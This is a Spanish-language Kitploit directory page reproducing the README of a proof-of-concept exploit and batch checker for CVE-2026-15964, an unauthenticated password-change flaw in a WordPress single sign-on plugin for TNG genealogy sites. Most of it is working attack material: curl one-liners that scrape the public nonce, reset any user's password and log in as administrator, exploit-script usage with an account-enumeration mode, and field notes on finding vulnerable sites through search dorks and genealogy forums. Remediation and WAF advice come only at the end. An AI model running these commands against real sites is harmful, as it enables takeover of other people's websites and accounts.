Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-15964-PoC — PoC y comprobador para CVE-2026-15964 - cambio de contraseña no autenticado en el plugin de WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Herramientas/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Autenticación y AutorizaciónEscalada de PrivilegiosEscáneres de Vulnerabilidades WebExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC y comprobador para CVE-2026-15964 - cambio de contraseña no autenticado en el plugin de WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Ver Repositorio
16hace 1 mesAún no revisado
Compartir

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Escalada de privilegios no autenticada mediante cambio de contraseña no verificado en el plugin de WordPress Single Sign On For TNG.

GravedadCrítico (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Cambio de contraseña no verificado)
Afectaversiones del plugin 1.0.0 a 2.0.0
Corregido en2.1.0 (publicado el 2026-07-27)
Publicado2026-08-01
Autenticación requeridaninguna (wp_ajax_nopriv_ssoprocess_ajax)
Impactocambiar la contraseña de cualquier cuenta de WordPress, incluidos los administradores: toma de control total del sitio
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Cualquier visitante no autenticado puede cambiar la contraseña de cualquier cuenta en un sitio que ejecute el plugin en la versión 2.0.0 o anterior. Dos peticiones HTTP:

  1. Haz GET a la página de inicio y copia el nonce del objeto JavaScript SSOPWDREQUIREMENT.
  2. Haz POST a admin-ajax.php con operation=setnewpassword, el correo de la víctima y una nueva contraseña.

El reset_password() del núcleo de WordPress hace el resto. Sin token, sin enlace de confirmación por correo, sin comprobación de capacidades. Después, inicia sesión como administrador.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Por qué funciona

El manejador está registrado para usuarios no autenticados

En single-sign-on-for-tng.php (v2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* significa que el manejador es accesible sin sesión alguna.

La única protección es un nonce que el plugin entrega a cada visitante

load_scripts() está enganchado a wp_enqueue_scripts, por lo que en todas las páginas del front-end el plugin imprime esto en el HTML:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Que se renderiza como:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

Y el manejador lo verifica de esta manera:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

El problema: WordPress calcula los nonces con wp_create_nonce($action) usando el uid y el token de sesión. Para los visitantes sin sesión esos valores son 0 y una cadena vacía, lo que significa que todos los visitantes anónimos reciben exactamente el mismo nonce. Solo se regenera cada 12 horas (el tick del nonce). Así que el nonce que el plugin imprime para cualquier visitante también es válido para el atacante: no hay ningún secreto que robar, está publicado en la propia página.

Y luego el cambio real, sin ninguna prueba de titularidad

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() es una función del núcleo de WordPress. Establece el nuevo hash, cierra la sesión de la víctima en todas las demás sesiones y dispara las acciones password_reset / after_password_reset. Aquí se llama sin que nada demuestre que quien la invoca es el propietario de la cuenta.

Dos detalles adicionales que vale la pena conocer:

  • No hay comprobación de fortaleza de contraseña en el servidor en esta ruta. Las reglas MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin solo se aplican en validate_form() para los formularios de Forminator, nunca aquí. Se acepta cualquier contraseña.
  • Enumeración de cuentas. {"success":true} frente a {"success":false} te indica si un correo está registrado. El modo --enum-only del checker usa esto.
  • Bug adicional en la misma función: operation=set_tzoffset llama a update_option('localtzoffset', $post['timezoneoffset']) sin autenticación. No es directamente explotable para RCE, pero es una escritura de opción no autenticada y merece la pena mencionarlo en el writeup.

Qué cambió en 2.1.0

Comparando 2.0.0 con 2.1.0, el arreglo es evidente (y confirma el bug):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

además, en newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Así que en 2.1.0 el flujo es: una solicitud de recuperación real almacena un custom_recovery_token + custom_recovery_nonce por usuario en los meta datos del usuario, el enlace de recuperación lleva el id de usuario, el formulario valida ambos y el manejador AJAX se niega a ejecutarse una vez que la ventana de recuperación (timeout) ha expirado. Un atacante que no pueda generar un registro de recuperación válido ya no puede invocar setnewpassword.


Reproducción (manual)

Paso 1: extraer el nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Paso 2: cambiar la contraseña

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Respuesta esperada en una instalación vulnerable: {"success":true}

Paso 3: iniciar sesión

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit para un solo sitio. Incluye modos no destructivos.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Checker: CVE-2026-15964-checker.py

Escáner por lotes para tus propias listas de sitios. No destructivo por diseño: nunca cambia una contraseña.

Así clasifica cada sitio:

  1. Huella HTML: el objeto SSOPWDREQUIREMENT o las rutas de recursos /wp-content/plugins/single-sign-on-for-tng/ en la página de inicio.
  2. Versión: la línea Stable tag: del readme.txt. <= 2.0.0 es vulnerable, >= 2.1.0 está parcheado. Esto es la referencia autoritativa según el CVE.
  3. Sonda de comportamiento (--probe, solo cuando no se puede leer la versión): envía operation=setnewpassword con un correo inexistente. Una instalación 2.0.0 responde {"success":false} sin mensaje de error; una instalación 2.1.0 responde con el mensaje "time to submit the new password expired". Nunca se envía un correo real: enviarlo restablecería la contraseña de verdad.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Sample output:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Veredictos: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN normalmente significa un WAF, una caché de CDN agresiva o un sitio que bloquea el readme: compruébalos a mano.


Probando las herramientas localmente

tests/mock_server.py emula seis casos (vulnerable por versión, parcheado por versión, vulnerable por sonda, parcheado por sonda, WordPress sin el plugin y no-WordPress). Así se validó la lógica del checker antes de apuntarlo a algo real:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt te da la única dependencia (requests).


Notas de campo

Contexto honesto, porque afecta a cómo usas esto.

  • Este plugin está dirigido a TNG (The Next Generation of Genealogy Sitebuilding), es decir, sitios de genealogía de aficionados. Es un ecosistema muy pequeño: aproximadamente 1,600 descargas totales en wordpress.org, instalaciones activas ocultas (< 10), primera publicación en octubre de 2024.
  • Como 2.1.0 solo apareció el 2026-07-27, la abrumadora mayoría de las descargas corresponden a versiones vulnerables. Si encuentras alguna instalación, es muy probable que siga siendo vulnerable.
  • El descubrimiento es la parte difícil. El plugin no deja rastro en el índice de Shodan (comprobé todas las huellas que se me ocurrieron: cero resultados), e incluso el fingerprinting de los 1,000 hosts de WordPress más relevantes que devuelve Shodan no encontró instalaciones. Tus mejores fuentes son: Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" en buscadores que indexan el código fuente completo de las páginas (PublicWWW, Censys, FOFA), y la propia comunidad de TNG (tngsitebuilding.com, foros de genealogía).
  • El grupo UNKNOWN del checker será comparativamente grande en sitios genealógicos reales: muchos están detrás de cachés agresivas o bloquean readme.txt. No lo interpretes como "no vulnerable"; compruébalo a mano.

Detección y remediación

  • Actualiza a 2.1.0 (o elimina el plugin por completo).
  • Regla de WAF: rechaza los POST a admin-ajax.php donde action=ssoprocess_ajax no provenga de una sesión autenticada; alerta sobre setnewpassword desde fuentes anónimas.
  • Supervisa los cambios de hash en wp_users.user_pass y las acciones password_reset / after_password_reset; vigila los inicios de sesión de administrador inmediatamente después de un cambio de contraseña.
  • Trata ssoajaxnonce como información pública: siempre lo fue.

Referencias

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Vulnerable source (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Fixed source (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Descargo de responsabilidad

Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. Eres responsable de tus propias acciones. No ejecutes estas herramientas contra sistemas que no sean tuyos o para los que no tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es un delito en la mayoría de las jurisdicciones.

Descargar herramienta